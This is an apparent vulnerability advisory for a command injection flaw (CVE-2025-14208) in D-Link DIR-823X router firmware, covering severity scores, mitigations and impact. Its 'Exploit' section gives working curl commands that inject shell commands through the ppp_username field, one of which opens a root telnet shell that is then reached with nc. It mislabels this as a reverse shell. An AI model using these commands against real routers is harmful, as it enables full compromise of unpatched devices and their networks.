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The vulnerability CVE-2025-14208 is a command injection flaw found in the D-Link DIR-823X router firmware versions up to 20250416. It exists within the function sub_415028, which is part of the binary handling requests to the `/goform/set_wan_settings` endpoint. This endpoint is responsible for configuring WAN connection settings, specifically Point-to-Point Protocol (PPP) settings. The issue arises because the `ppp_username` parameter, supplied via a POST request to this endpoint, is not properly sanitized or validated before being used in a system command. An attacker can inject arbitrary operating system commands by appending shell metacharacters (like ;, &&, or |) to the username value. Because the application runs with high privileges, the injected commands are executed with the same root-level access, allowing a remote, authenticated attacker to completely compromise the router. The exploit for this vulnerability has been publicly released, increasing the risk of widespread exploitation .
dailycve form:
Platform: D-Link DIR-823X
Version: up to 20250416
Vulnerability: Command Injection
Severity: Medium
date: Dec 8 2025
Prediction: Patch unlikely (EoL)
What Undercode Say:
Analytics:
- CVSS Score: 6.3 (Medium) – CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
- Attack Vector: Network
- Complexity: Low
- Privileges Required: Low
- Exploit Availability: Public
- EPSS Probability: 0.72% (as of Dec 14, 2025)
Exploit:
Example using curl to inject a command (e.g., write to file) Replace TARGET_IP with the router's IP address curl -X POST http://TARGET_IP/goform/set_wan_settings \ -d "ppp_username=admin; touch /tmp/pwned &" \ -d "ppp_password=password" \ -d "wan_type=pppoe"
Example to start a reverse shell (attacker IP 192.168.1.100, port 4444) curl -X POST http://TARGET_IP/goform/set_wan_settings \ -d "ppp_username=admin; telnetd -l /bin/sh -p 9999 &" \ -d "ppp_password=password" \ -d "wan_type=pppoe" Then connect from attacker machine: nc TARGET_IP 9999
Protection from this CVE:
1. Isolate Device: Place router on separate VLAN.
- Firewall Rules: Block WAN-side access to ports 80/443.
- Monitor Logs: Inspect for `/goform/set_wan_settings` with shell metacharacters .
- Disable Remote Management: Ensure feature is turned off.
- Replace Hardware: Upgrade to a supported router model .
Impact:
- Remote Code Execution: As root user .
- Full Device Compromise: Attacker gains complete control.
- Network Pivot: Launch point for internal network attacks .
- Data Theft: Intercept or redirect sensitive traffic .
- Botnet Recruitment: Device used in DDoS attacks .
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Sources:
Reported By: nvd.nist.gov
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